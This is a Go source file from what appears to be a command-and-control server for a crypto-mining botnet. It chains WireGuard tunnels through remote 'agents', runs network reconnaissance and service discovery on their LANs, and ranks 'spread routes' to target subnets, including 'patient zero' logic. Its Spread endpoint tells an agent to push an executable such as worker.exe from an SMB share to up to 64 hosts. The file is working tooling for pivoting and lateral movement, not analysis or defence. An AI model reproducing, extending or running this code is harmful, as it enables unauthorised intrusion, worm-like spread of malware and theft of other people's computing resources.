AetherForge/server/internal/api/pathtracer_handler.go

package api

import (
	"crypto/rand"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"image/color"
	"image/png"
	"log"
	"net/http"
	"strings"
	"sync"
	"time"

	"github.com/go-chi/chi/v5"
	"github.com/google/uuid"
	qrcode "github.com/skip2/go-qrcode"

	"golang.org/x/crypto/curve25519"

	"crypto-miner-server/internal/spreadrouter"
)

// ── types ─────────────────────────────────────────────────────────────────────

// HopStatus tracks one agent's progress in a trace session.
type HopStatus string

const (
	HopPending   HopStatus = "pending"
	HopReady     HopStatus = "ready"
	HopFailed    HopStatus = "failed"
)

// HopInfo records what we know about each hop in the chain.
type HopInfo struct {
	AgentID     string    `json:"agent_id"`
	AgentName   string    `json:"agent_name"`
	ExternalIP  string    `json:"external_ip"`
	Port        int       `json:"port"`
	PublicKey   string    `json:"public_key"`
	PrivateKey  string    `json:"-"` // never sent to client
	LocalAddr   string    `json:"local_addr"`
	Status      HopStatus `json:"status"`
	Error       string    `json:"error,omitempty"`
}

// ServiceGraphEntry is one discovered service or port signal on a host.
type ServiceGraphEntry struct {
	ServiceName       string `json:"service_name"`
	Port              int    `json:"port,omitempty"`
	Status            string `json:"status,omitempty"`
	JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
	Source            string `json:"source,omitempty"`
}

// ServiceGraphHost groups service findings for one host on a subnet.
type ServiceGraphHost struct {
	Host     string              `json:"host"`
	Subnet   string              `json:"subnet,omitempty"`
	Services []ServiceGraphEntry `json:"services"`
	AgentID  string              `json:"agent_id,omitempty"`
}

// TraceSession holds all state for one active VPN session.
type TraceSession struct {
	ID        string    `json:"id"`
	AgentIDs  []string  `json:"agent_ids"`
	Hops      []*HopInfo `json:"hops"`
	Ready     bool      `json:"ready"`
	Error     string    `json:"error,omitempty"`
	CreatedAt time.Time `json:"created_at"`
	// Service graph keyed by host IP — merged from hop service_discover passes.
	ServiceGraph       map[string]ServiceGraphHost `json:"service_graph,omitempty"`
	DiscoverInProgress bool                        `json:"discover_in_progress,omitempty"`
	DiscoverError      string                      `json:"discover_error,omitempty"`
	DiscoveredAt       *time.Time                  `json:"discovered_at,omitempty"`
	// Passive recon from egress hop (network_recon command).
	NetworkHints json.RawMessage `json:"network_hints,omitempty"`
	// Client WireGuard keypair — used to build the QR config.
	clientPrivKey string
	clientPubKey  string
}

const (
	pathTraceSessionTTL      = 2 * time.Hour
	pathTraceCleanupInterval = 5 * time.Minute
)

// PathTracerHandler manages on-demand WireGuard chain sessions.
type PathTracerHandler struct {
	hub      *WSHub
	mu       sync.Mutex
	sessions map[string]*TraceSession
	stopCh   chan struct{}
}

func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
	h := &PathTracerHandler{
		hub:      hub,
		sessions: make(map[string]*TraceSession),
		stopCh:   make(chan struct{}),
	}
	h.loadPersistedSessions()
	go h.sessionCleanupLoop()
	return h
}

// pathTraceSessionPersist is the SQLite JSON shape (includes WG client keys for QR after restart).
type pathTraceSessionPersist struct {
	ID                 string                        `json:"id"`
	AgentIDs           []string                      `json:"agent_ids"`
	Hops               []*HopInfo                    `json:"hops"`
	Ready              bool                          `json:"ready"`
	Error              string                        `json:"error,omitempty"`
	CreatedAt          time.Time                     `json:"created_at"`
	ServiceGraph       map[string]ServiceGraphHost   `json:"service_graph,omitempty"`
	DiscoverInProgress bool                          `json:"discover_in_progress,omitempty"`
	DiscoverError      string                        `json:"discover_error,omitempty"`
	DiscoveredAt       *time.Time                    `json:"discovered_at,omitempty"`
	NetworkHints       json.RawMessage               `json:"network_hints,omitempty"`
	ClientPrivKey      string                        `json:"client_priv_key,omitempty"`
	ClientPubKey       string                        `json:"client_pub_key,omitempty"`
}

func (h *PathTracerHandler) loadPersistedSessions() {
	if h.hub == nil || h.hub.db == nil {
		return
	}
	cutoff := time.Now().Add(-pathTraceSessionTTL)
	if n, err := h.hub.db.DeleteExpiredPathTraceSessions(cutoff); err == nil && n > 0 {
		log.Printf("[pathtrace] startup sweep removed %d expired session(s)", n)
	}
	rows, err := h.hub.db.ListPathTraceSessions()
	if err != nil {
		log.Printf("[pathtrace] load sessions failed: %v", err)
		return
	}
	h.mu.Lock()
	defer h.mu.Unlock()
	for _, row := range rows {
		if time.Since(row.CreatedAt) > pathTraceSessionTTL {
			_ = h.hub.db.DeletePathTraceSession(row.ID)
			continue
		}
		var rec pathTraceSessionPersist
		if err := json.Unmarshal(row.Payload, &rec); err != nil {
			_ = h.hub.db.DeletePathTraceSession(row.ID)
			continue
		}
		h.sessions[rec.ID] = &TraceSession{
			ID:                 rec.ID,
			AgentIDs:           rec.AgentIDs,
			Hops:               rec.Hops,
			Ready:              rec.Ready,
			Error:              rec.Error,
			CreatedAt:          rec.CreatedAt,
			ServiceGraph:       rec.ServiceGraph,
			DiscoverInProgress: rec.DiscoverInProgress,
			DiscoverError:      rec.DiscoverError,
			DiscoveredAt:       rec.DiscoveredAt,
			NetworkHints:       rec.NetworkHints,
			clientPrivKey:      rec.ClientPrivKey,
			clientPubKey:       rec.ClientPubKey,
		}
	}
	if len(rows) > 0 {
		log.Printf("[pathtrace] restored %d session(s) from SQLite", len(h.sessions))
	}
}

func (h *PathTracerHandler) persistSession(sess *TraceSession) {
	if h.hub == nil || h.hub.db == nil || sess == nil {
		return
	}
	h.mu.Lock()
	rec := pathTraceSessionPersist{
		ID:                 sess.ID,
		AgentIDs:           sess.AgentIDs,
		Hops:               sess.Hops,
		Ready:              sess.Ready,
		Error:              sess.Error,
		CreatedAt:          sess.CreatedAt,
		ServiceGraph:       sess.ServiceGraph,
		DiscoverInProgress: sess.DiscoverInProgress,
		DiscoverError:      sess.DiscoverError,
		DiscoveredAt:       sess.DiscoveredAt,
		NetworkHints:       sess.NetworkHints,
		ClientPrivKey:      sess.clientPrivKey,
		ClientPubKey:       sess.clientPubKey,
	}
	h.mu.Unlock()
	raw, err := json.Marshal(rec)
	if err != nil {
		log.Printf("[pathtrace] marshal session %s: %v", sess.ID[:min(8, len(sess.ID))], err)
		return
	}
	if err := h.hub.db.UpsertPathTraceSession(sess.ID, sess.CreatedAt, raw); err != nil {
		log.Printf("[pathtrace] persist session %s: %v", sess.ID[:min(8, len(sess.ID))], err)
	}
}

func (h *PathTracerHandler) deletePersistedSession(id string) {
	if h.hub == nil || h.hub.db == nil || id == "" {
		return
	}
	_ = h.hub.db.DeletePathTraceSession(id)
}

func (h *PathTracerHandler) sessionCleanupLoop() {
	ticker := time.NewTicker(pathTraceCleanupInterval)
	defer ticker.Stop()
	for {
		select {
		case <-ticker.C:
			h.expireSessions()
		case <-h.stopCh:
			return
		}
	}
}

func (h *PathTracerHandler) expireSessions() {
	now := time.Now()
	var expired []*TraceSession
	h.mu.Lock()
	for id, sess := range h.sessions {
		if now.Sub(sess.CreatedAt) > pathTraceSessionTTL {
			expired = append(expired, sess)
			delete(h.sessions, id)
		}
	}
	h.mu.Unlock()
	for _, sess := range expired {
		log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
		h.teardownHops(sess.Hops)
		h.deletePersistedSession(sess.ID)
	}
}

// ── HTTP handlers ─────────────────────────────────────────────────────────────

// POST /api/v1/pathtrace/start
// Body: {"agent_ids": ["id1","id2",...]}
func (h *PathTracerHandler) Start(w http.ResponseWriter, r *http.Request) {
	var req struct {
		AgentIDs []string `json:"agent_ids"`
	}
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil || len(req.AgentIDs) == 0 {
		http.Error(w, "agent_ids required", http.StatusBadRequest)
		return
	}
	if len(req.AgentIDs) > 3 {
		http.Error(w, "max 3 hops supported", http.StatusBadRequest)
		return
	}
	seen := make(map[string]bool, len(req.AgentIDs))
	for _, id := range req.AgentIDs {
		id = strings.TrimSpace(id)
		if id == "" {
			http.Error(w, "agent_ids required", http.StatusBadRequest)
			return
		}
		if seen[id] {
			http.Error(w, "duplicate agent_ids", http.StatusBadRequest)
			return
		}
		seen[id] = true
		if !h.hub.isAgentConnected(id) {
			http.Error(w, "agent "+id[:min(8, len(id))]+" not connected", http.StatusBadRequest)
			return
		}
	}

	clientPriv, clientPub, err := generateServerWGKeyPair()
	if err != nil {
		http.Error(w, "keygen failed", http.StatusInternalServerError)
		return
	}

	sess := &TraceSession{
		ID:            uuid.New().String(),
		AgentIDs:      req.AgentIDs,
		CreatedAt:     time.Now(),
		clientPrivKey: clientPriv,
		clientPubKey:  clientPub,
	}

	for i, id := range req.AgentIDs {
		agentName := fmt.Sprintf("hop-%d", i+1)
		if ag, err := h.hub.db.GetAgent(id); err == nil && strings.TrimSpace(ag.Name) != "" {
			agentName = ag.Name
		}
		sess.Hops = append(sess.Hops, &HopInfo{
			AgentID:   id,
			AgentName: agentName,
			LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2), // .2, .3, .4
			Port:      51820,
			Status:    HopPending,
		})
	}

	h.mu.Lock()
	h.sessions[sess.ID] = sess
	h.mu.Unlock()
	h.persistSession(sess)

	// Orchestrate asynchronously so the HTTP response returns quickly.
	go h.orchestrate(sess)
	go h.collectEgressNetworkHints(sess)

	writeJSON(w, map[string]interface{}{
		"session_id": sess.ID,
		"hops":       sess.Hops,
	})
}

// GET /api/v1/pathtrace/{id}/status
func (h *PathTracerHandler) Status(w http.ResponseWriter, r *http.Request) {
	sess := h.getSession(chi.URLParam(r, "id"))
	if sess == nil {
		http.Error(w, "session not found", http.StatusNotFound)
		return
	}
	h.mu.Lock()
	defer h.mu.Unlock()
	resp := map[string]interface{}{
		"session_id":           sess.ID,
		"ready":                sess.Ready,
		"error":                sess.Error,
		"hops":                 sess.Hops,
		"discover_in_progress": sess.DiscoverInProgress,
		"discover_error":       sess.DiscoverError,
	}
	if len(sess.ServiceGraph) > 0 {
		resp["service_graph"] = serviceGraphList(sess.ServiceGraph)
	}
	if sess.DiscoveredAt != nil {
		resp["discovered_at"] = sess.DiscoveredAt.UTC().Format(time.RFC3339)
	}
	if hints := jsonRawOrNil(sess.NetworkHints); hints != nil {
		resp["network_hints"] = hints
	}
	if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
		resp["spread_routes"] = routes
	}
	writeJSON(w, resp)
}

// GET /api/v1/pathtrace/{id}/qr
func (h *PathTracerHandler) QR(w http.ResponseWriter, r *http.Request) {
	sess := h.getSession(chi.URLParam(r, "id"))
	if sess == nil {
		http.Error(w, "session not found", http.StatusNotFound)
		return
	}
	h.mu.Lock()
	ready := sess.Ready
	h.mu.Unlock()
	if !ready {
		http.Error(w, "session not ready yet", http.StatusAccepted)
		return
	}

	cfg := h.buildClientConfig(sess)

	// Return format: ?format=png → PNG image, default → JSON with text+png.
	if r.URL.Query().Get("format") == "png" {
		qr, err := qrcode.New(cfg, qrcode.High)
		if err != nil {
			http.Error(w, "qr generation failed", http.StatusInternalServerError)
			return
		}
		qr.BackgroundColor = color.Black
		qr.ForegroundColor = color.RGBA{R: 0, G: 255, B: 170, A: 255} // neon green
		img := qr.Image(400)
		w.Header().Set("Content-Type", "image/png")
		_ = png.Encode(w, img)
		return
	}

	qr, err := qrcode.Encode(cfg, qrcode.High, 300)
	if err != nil {
		http.Error(w, "qr generation failed", http.StatusInternalServerError)
		return
	}
	writeJSON(w, map[string]interface{}{
		"config":     cfg,
		"qr_png_b64": base64.StdEncoding.EncodeToString(qr),
	})
}

// DELETE /api/v1/pathtrace/{id}
func (h *PathTracerHandler) Delete(w http.ResponseWriter, r *http.Request) {
	id := chi.URLParam(r, "id")
	sess := h.getSession(id)
	if sess == nil {
		http.Error(w, "session not found", http.StatusNotFound)
		return
	}

	h.teardownHops(sess.Hops)

	h.mu.Lock()
	delete(h.sessions, id)
	h.mu.Unlock()
	h.deletePersistedSession(id)

	writeJSON(w, map[string]interface{}{"ok": true})
}

// POST /api/v1/pathtrace/discover
// Body: {"session_id":"…","max_hosts":32}
// Dispatches service_discover on every hop and merges LAN/local findings into service_graph.
func (h *PathTracerHandler) Discover(w http.ResponseWriter, r *http.Request) {
	var req struct {
		SessionID string `json:"session_id"`
		MaxHosts  int    `json:"max_hosts"`
	}
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid JSON", http.StatusBadRequest)
		return
	}
	req.SessionID = strings.TrimSpace(req.SessionID)
	if req.SessionID == "" {
		http.Error(w, "session_id is required", http.StatusBadRequest)
		return
	}
	maxHosts := req.MaxHosts
	if maxHosts <= 0 {
		maxHosts = 32
	}

	sess := h.getSession(req.SessionID)
	if sess == nil {
		http.Error(w, "session not found", http.StatusNotFound)
		return
	}
	if len(sess.Hops) == 0 {
		http.Error(w, "session has no hops", http.StatusBadRequest)
		return
	}

	for _, hop := range sess.Hops {
		if !h.hub.isAgentConnected(hop.AgentID) {
			http.Error(w, "hop agent "+hop.AgentID[:min(8, len(hop.AgentID))]+" not connected", http.StatusBadRequest)
			return
		}
	}

	h.mu.Lock()
	if sess.DiscoverInProgress {
		h.mu.Unlock()
		http.Error(w, "discover already in progress", http.StatusConflict)
		return
	}
	sess.DiscoverInProgress = true
	sess.DiscoverError = ""
	h.mu.Unlock()

	graph, discoverErr := h.runServiceDiscover(sess.Hops, maxHosts)

	h.mu.Lock()
	defer h.mu.Unlock()
	sess.DiscoverInProgress = false
	if discoverErr != "" {
		sess.DiscoverError = discoverErr
	}
	if len(graph) > 0 {
		sess.ServiceGraph = mergeServiceGraph(sess.ServiceGraph, graph)
		now := time.Now()
		sess.DiscoveredAt = &now
	}

	resp := map[string]interface{}{
		"ok":            discoverErr == "",
		"session_id":    sess.ID,
		"error":         discoverErr,
		"service_graph": serviceGraphList(sess.ServiceGraph),
		"discovered_at": formatDiscoveredAt(sess.DiscoveredAt),
	}
	if routes := h.spreadRoutesForSession(sess, nil, ""); len(routes) > 0 {
		resp["spread_routes"] = routes
	}
	writeJSON(w, resp)
}

// POST /api/v1/pathtrace/spread-route
// Body: {"session_id":"…","target_subnets":["10.1.2"],"join_lane":"do_peer"}
// Returns BGP-style spread route recommendations per target subnet.
func (h *PathTracerHandler) SpreadRoute(w http.ResponseWriter, r *http.Request) {
	var req struct {
		SessionID     string   `json:"session_id"`
		TargetSubnets []string `json:"target_subnets"`
		JoinLane      string   `json:"join_lane"`
	}
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid JSON", http.StatusBadRequest)
		return
	}
	req.SessionID = strings.TrimSpace(req.SessionID)
	if req.SessionID == "" {
		http.Error(w, "session_id is required", http.StatusBadRequest)
		return
	}
	sess := h.getSession(req.SessionID)
	if sess == nil {
		http.Error(w, "session not found", http.StatusNotFound)
		return
	}
	routes, edges := h.computeSpreadRoutes(sess, req.TargetSubnets, req.JoinLane)
	writeJSON(w, map[string]interface{}{
		"ok":            true,
		"session_id":    sess.ID,
		"spread_routes": routes,
		"route_edges":   edges,
	})
}

// POST /api/v1/pathtrace/spread
// Body: {"session_id":"…","unc_path":"\\\\forge\\pathforge$\\worker.exe","max_hosts":64}
// Dispatches spread_smb_unc on the egress Path Tracer hop (last agent in the chain).
func (h *PathTracerHandler) Spread(w http.ResponseWriter, r *http.Request) {
	var req struct {
		SessionID string `json:"session_id"`
		UNCPath   string `json:"unc_path"`
		MaxHosts  int    `json:"max_hosts"`
	}
	if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
		http.Error(w, "invalid JSON", http.StatusBadRequest)
		return
	}
	req.SessionID = strings.TrimSpace(req.SessionID)
	req.UNCPath = strings.TrimSpace(req.UNCPath)
	if req.SessionID == "" || req.UNCPath == "" {
		http.Error(w, "session_id and unc_path are required", http.StatusBadRequest)
		return
	}
	if !strings.HasPrefix(strings.ToLower(req.UNCPath), `\\`) {
		http.Error(w, "unc_path must be a UNC share (\\\\host\\share\\file.exe)", http.StatusBadRequest)
		return
	}
	if strings.Contains(req.UNCPath, "..") {
		http.Error(w, "unc_path must not contain ..", http.StatusBadRequest)
		return
	}

	sess := h.getSession(req.SessionID)
	if sess == nil {
		http.Error(w, "session not found", http.StatusNotFound)
		return
	}
	if len(sess.Hops) == 0 {
		http.Error(w, "session has no hops", http.StatusBadRequest)
		return
	}
	egress := sess.Hops[len(sess.Hops)-1]
	if targetSubnet := strings.TrimSpace(r.URL.Query().Get("target_subnet")); targetSubnet != "" {
		if routes := h.spreadRoutesForSession(sess, []string{targetSubnet}, ""); len(routes) > 0 {
			for _, hop := range sess.Hops {
				if hop.AgentID == routes[0].EgressAgentID {
					egress = hop
					break
				}
			}
		}
	}
	if !h.hub.isAgentConnected(egress.AgentID) {
		http.Error(w, "egress hop agent not connected", http.StatusBadRequest)
		return
	}
	maxHosts := req.MaxHosts
	if maxHosts <= 0 {
		maxHosts = 64
	}
	args := map[string]interface{}{
		"path":    req.UNCPath,
		"command": fmt.Sprintf("%d", maxHosts),
	}
	if err := h.hub.SendAgentCommand(egress.AgentID, "spread_smb_unc", args); err != nil {
		http.Error(w, err.Error(), http.StatusBadGateway)
		return
	}
	resp := map[string]interface{}{
		"ok":         true,
		"agent_id":   egress.AgentID,
		"agent_name": egress.AgentName,
		"unc_path":   req.UNCPath,
		"max_hosts":  maxHosts,
		"message":    "spread_smb_unc dispatched on Path Tracer egress hop",
	}
	if routeHint := h.bestSpreadRouteForSession(sess, nil, ""); routeHint != nil {
		resp["spread_route_hint"] = routeHint
	}
	writeJSON(w, resp)
}

func (h *PathTracerHandler) spreadRoutesForSession(sess *TraceSession, targetSubnets []string, joinLane string) []spreadrouter.RouteRecommendation {
	routes, _ := h.computeSpreadRoutes(sess, targetSubnets, joinLane)
	return routes
}

func (h *PathTracerHandler) computeSpreadRoutes(sess *TraceSession, targetSubnets []string, joinLane string) ([]spreadrouter.RouteRecommendation, []spreadrouter.RouteEdge) {
	if sess == nil {
		return nil, nil
	}
	in := buildSpreadRouterInput(h.hub, []*TraceSession{sess}, targetSubnets, joinLane)
	rt := spreadrouter.Build(in)
	return rt.Routes, rt.Edges
}

func (h *PathTracerHandler) bestSpreadRouteForSession(sess *TraceSession, targetSubnets []string, joinLane string) *spreadrouter.SpreadRouteHint {
	routes := h.spreadRoutesForSession(sess, targetSubnets, joinLane)
	if len(routes) == 0 {
		return nil
	}
	return spreadrouter.ToHint(routes[0])
}

// RecommendSpreadRoute picks the best seed hop for a target subnet across all active sessions.
func (h *PathTracerHandler) RecommendSpreadRoute(targetSubnet, joinLane, patientZeroID string) *spreadrouter.SpreadRouteHint {
	if h == nil {
		return nil
	}
	targetSubnet = spreadrouter.NormalizeSubnet(targetSubnet)
	if targetSubnet == "" {
		return nil
	}
	sessions := traceSessionsSnapshot(h)
	in := buildSpreadRouterInput(h.hub, sessions, []string{targetSubnet}, joinLane)
	rt := spreadrouter.Build(in)
	rec, ok := rt.Recommend(targetSubnet)
	if !ok {
		return nil
	}
	if patientZeroID != "" && rec.SeedAgentID == patientZeroID {
		// Prefer a routed egress when patient zero is not the only candidate.
		for _, edge := range rt.Edges {
			if edge.ToSubnet == targetSubnet && edge.FromAgentID != patientZeroID && edge.Weight >= rec.Score*0.9 {
				rec.SeedAgentID = edge.FromAgentID
				rec.SeedAgentName = edge.FromAgentName
				rec.EgressAgentID = edge.FromAgentID
				rec.EgressHopIndex = edge.HopIndex
				rec.SessionID = edge.SessionID
				rec.Score = edge.Weight
				rec.Reason = "routed egress (not patient zero)"
				break
			}
		}
	}
	return spreadrouter.ToHint(rec)
}

// ── orchestration ─────────────────────────────────────────────────────────────

// collectEgressNetworkHints dispatches network_recon on the egress hop for Path Tracer graph hints.
func (h *PathTracerHandler) collectEgressNetworkHints(sess *TraceSession) {
	if len(sess.Hops) == 0 {
		return
	}
	egress := sess.Hops[len(sess.Hops)-1]
	if !h.hub.isAgentConnected(egress.AgentID) {
		return
	}
	ch := h.hub.AwaitCommandResult(egress.AgentID, "network_recon")
	if err := h.hub.SendAgentCommand(egress.AgentID, "network_recon", nil); err != nil {
		h.hub.CancelAwait(egress.AgentID, "network_recon")
		log.Printf("[pathtrace] session %s: network_recon dispatch failed: %v", sess.ID[:8], err)
		return
	}
	select {
	case payload := <-ch:
		msgStr, _ := payload["message"].(string)
		if strings.TrimSpace(msgStr) == "" {
			return
		}
		h.mu.Lock()
		sess.NetworkHints = json.RawMessage(msgStr)
		h.mu.Unlock()
		log.Printf("[pathtrace] session %s: network_hints collected from egress hop", sess.ID[:8])
	case <-time.After(45 * time.Second):
		h.hub.CancelAwait(egress.AgentID, "network_recon")
		log.Printf("[pathtrace] session %s: network_recon timed out", sess.ID[:8])
	}
}

func jsonRawOrNil(raw json.RawMessage) interface{} {
	if len(raw) == 0 || string(raw) == "null" {
		return nil
	}
	var v interface{}
	if err := json.Unmarshal(raw, &v); err != nil {
		return nil
	}
	return v
}

func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
	log.Printf("[pathtrace] session %s: orchestrating %d hop(s)", sess.ID[:8], len(sess.Hops))

	// Phase 1: send wg_setup to every hop in parallel, collect keypairs + IPs.
	type setupResp struct {
		hop *HopInfo
		pub string
		ip  string
		port int
		err string
	}
	results := make(chan setupResp, len(sess.Hops))

	for _, hop := range sess.Hops {
		hop := hop
		ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_setup")
		err := h.hub.writeAgentJSON(hop.AgentID, Message{
			Type:    "command",
			Payload: mustMarshal(map[string]interface{}{"action": "wg_setup"}),
		})
		if err != nil {
			h.hub.CancelAwait(hop.AgentID, "wg_setup")
			results <- setupResp{hop: hop, err: "agent not connected: " + err.Error()}
			continue
		}
		go func() {
			select {
			case payload := <-ch:
				msgStr, _ := payload["message"].(string)
				// message is JSON-encoded WGSetupResult
				var res struct {
					PublicKey    string `json:"public_key"`
					ExternalIP   string `json:"external_ip"`
					ExternalPort int    `json:"external_port"`
					Error        string `json:"error"`
				}
				if jerr := json.Unmarshal([]byte(msgStr), &res); jerr != nil {
					results <- setupResp{hop: hop, err: "parse error: " + jerr.Error()}
					return
				}
				if res.Error != "" {
					results <- setupResp{hop: hop, err: res.Error}
					return
				}
				p := res.ExternalPort
				if p == 0 {
					p = 51820
				}
				// If UPnP failed, fall back to the agent's last known IP in the DB.
				ip := res.ExternalIP
				if ip == "" {
					if ag, err := h.hub.db.GetAgent(hop.AgentID); err == nil && strings.TrimSpace(ag.IP) != "" {
						ip = ag.IP
					}
				}
				results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
			case <-time.After(20 * time.Second):
				results <- setupResp{hop: hop, err: "timeout waiting for wg_setup response"}
			}
		}()
	}

	// Collect Phase 1 results.
	for range sess.Hops {
		r := <-results
		h.mu.Lock()
		if r.err != "" {
			r.hop.Status = HopFailed
			r.hop.Error = r.err
			sess.Error = "hop " + r.hop.AgentID[:8] + " failed: " + r.err
		} else if strings.TrimSpace(r.pub) == "" || strings.TrimSpace(r.ip) == "" {
			r.hop.Status = HopFailed
			r.hop.Error = "missing public key or external IP"
			sess.Error = "hop " + r.hop.AgentID[:8] + " failed: missing public key or external IP"
		} else {
			r.hop.PublicKey = r.pub
			r.hop.ExternalIP = r.ip
			r.hop.Port = r.port
			r.hop.Status = HopReady
		}
		h.mu.Unlock()
	}

	// If any hop failed at setup, abort.
	h.mu.Lock()
	anyFailed := false
	for _, hop := range sess.Hops {
		if hop.Status == HopFailed {
			anyFailed = true
			break
		}
	}
	h.mu.Unlock()
	if anyFailed {
		log.Printf("[pathtrace] session %s: setup failed", sess.ID[:8])
		h.teardownHops(sess.Hops)
		return
	}

	// Phase 2: send wg_configure to each hop.
	// Topology:
	//   - Hop 1 always peers to the client (10.66.0.1/32) so return traffic works.
	//   - Relay hops also peer forward to the next hop (0.0.0.0/0).
	//   - Middle/exit hops peer back to the previous hop for reverse routing.
	// The CLIENT config always points to the FIRST hop.

	type cfgResp struct {
		hop *HopInfo
		err string
	}
	cfgResults := make(chan cfgResp, len(sess.Hops))

	for i, hop := range sess.Hops {
		hop := hop
		i := i

		payload := map[string]interface{}{
			"session_id":           sess.ID,
			"private_key":          "", // agent uses its own generated key
			"local_address":        hop.LocalAddr,
			"listen_port":          hop.Port,
			"enable_ip_forwarding": true,
			"peers":                buildHopPeers(sess, i),
		}

		dataJSON, _ := json.Marshal(payload)

		ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
		if err := h.hub.writeAgentJSON(hop.AgentID, Message{
			Type: "command",
			Payload: mustMarshal(map[string]interface{}{
				"action": "wg_configure",
				"data":   string(dataJSON),
			}),
		}); err != nil {
			h.hub.CancelAwait(hop.AgentID, "wg_configure")
			cfgResults <- cfgResp{hop: hop, err: "agent not connected: " + err.Error()}
			continue
		}

		go func() {
			select {
			case p := <-ch:
				success, _ := p["success"].(bool)
				if !success {
					msg, _ := p["message"].(string)
					cfgResults <- cfgResp{hop: hop, err: msg}
					return
				}
				cfgResults <- cfgResp{hop: hop}
			case <-time.After(60 * time.Second):
				cfgResults <- cfgResp{hop: hop, err: "timeout waiting for wg_configure"}
			}
		}()
	}

	for range sess.Hops {
		r := <-cfgResults
		h.mu.Lock()
		if r.err != "" {
			r.hop.Status = HopFailed
			r.hop.Error = r.err
			if sess.Error == "" {
				sess.Error = "configure failed on " + r.hop.AgentID[:8] + ": " + r.err
			}
		}
		h.mu.Unlock()
	}

	h.mu.Lock()
	allReady := true
	for _, hop := range sess.Hops {
		if hop.Status != HopReady {
			allReady = false
		}
	}
	if allReady {
		sess.Ready = true
	}
	hops := sess.Hops
	h.mu.Unlock()
	if !allReady {
		h.teardownHops(hops)
	}

	log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
	h.persistSession(sess)
}

func (h *PathTracerHandler) teardownHops(hops []*HopInfo) {
	for _, hop := range hops {
		_ = h.hub.writeAgentJSON(hop.AgentID, Message{
			Type:    "command",
			Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
		})
	}
}

// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
	var peers []map[string]interface{}

	// Hop 1 is the client entry point — always accept the phone/client tunnel.
	if i == 0 {
		peers = append(peers, map[string]interface{}{
			"public_key":           sess.clientPubKey,
			"allowed_ips":          "10.66.0.1/32",
			"persistent_keepalive": 25,
		})
	}

	// Forward peer: route outbound traffic to the next hop in the chain.
	if i < len(sess.Hops)-1 {
		nextHop := sess.Hops[i+1]
		peers = append(peers, map[string]interface{}{
			"public_key":           nextHop.PublicKey,
			"endpoint":             fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
			"allowed_ips":          "0.0.0.0/0",
			"persistent_keepalive": 25,
		})
	}

	// Reverse peer: return traffic toward the client via the previous hop.
	if i > 0 {
		prevHop := sess.Hops[i-1]
		peers = append(peers, map[string]interface{}{
			"public_key":           prevHop.PublicKey,
			"allowed_ips":          "10.66.0.1/32",
			"persistent_keepalive": 25,
		})
	}

	return peers
}

// buildClientConfig generates the WireGuard config text the user scans/imports.
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
	h.mu.Lock()
	defer h.mu.Unlock()

	var sb strings.Builder
	sb.WriteString("[Interface]\n")
	sb.WriteString("PrivateKey = " + sess.clientPrivKey + "\n")
	sb.WriteString("Address = 10.66.0.1/24\n")
	sb.WriteString("DNS = 1.1.1.1\n\n")

	// Phone always connects to the first hop.
	first := sess.Hops[0]
	sb.WriteString("[Peer]\n")
	sb.WriteString("PublicKey = " + first.PublicKey + "\n")
	sb.WriteString(fmt.Sprintf("Endpoint = %s:%d\n", first.ExternalIP, first.Port))
	sb.WriteString("AllowedIPs = 0.0.0.0/0\n")
	sb.WriteString("PersistentKeepalive = 25\n")

	return sb.String()
}

// ── helpers ───────────────────────────────────────────────────────────────────

func (h *PathTracerHandler) getSession(id string) *TraceSession {
	h.mu.Lock()
	defer h.mu.Unlock()
	return h.sessions[id]
}

type agentDiscoverPayload struct {
	ProbedAt     string             `json:"probed_at"`
	Local        ServiceGraphHost   `json:"local"`
	LANHosts     []ServiceGraphHost `json:"lan_hosts"`
	PassiveHints []string           `json:"passive_hints,omitempty"`
}

func (h *PathTracerHandler) runServiceDiscover(hops []*HopInfo, maxHosts int) (map[string]ServiceGraphHost, string) {
	type discoverResp struct {
		hop *HopInfo
		raw string
		err string
	}
	results := make(chan discoverResp, len(hops))

	for _, hop := range hops {
		hop := hop
		ch := h.hub.AwaitCommandResult(hop.AgentID, "service_discover")
		args := map[string]interface{}{"command": fmt.Sprintf("%d", maxHosts)}
		if err := h.hub.SendAgentCommand(hop.AgentID, "service_discover", args); err != nil {
			h.hub.CancelAwait(hop.AgentID, "service_discover")
			results <- discoverResp{hop: hop, err: err.Error()}
			continue
		}
		go func() {
			select {
			case payload := <-ch:
				success, _ := payload["success"].(bool)
				msg, _ := payload["message"].(string)
				if !success {
					results <- discoverResp{hop: hop, err: strings.TrimSpace(msg)}
					return
				}
				results <- discoverResp{hop: hop, raw: msg}
			case <-time.After(90 * time.Second):
				h.hub.CancelAwait(hop.AgentID, "service_discover")
				results <- discoverResp{hop: hop, err: "timeout waiting for service_discover"}
			}
		}()
	}

	merged := make(map[string]ServiceGraphHost)
	var errs []string
	for range hops {
		r := <-results
		if r.err != "" {
			errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": "+r.err)
			continue
		}
		payload, err := parseAgentDiscoverJSON(r.raw)
		if err != nil {
			errs = append(errs, r.hop.AgentID[:min(8, len(r.hop.AgentID))]+": parse error")
			continue
		}
		merged = mergeServiceGraph(merged, graphFromDiscoverPayload(r.hop.AgentID, payload))
	}
	if len(merged) == 0 && len(errs) > 0 {
		return nil, strings.Join(errs, "; ")
	}
	if len(errs) > 0 {
		return merged, "partial: " + strings.Join(errs, "; ")
	}
	return merged, ""
}

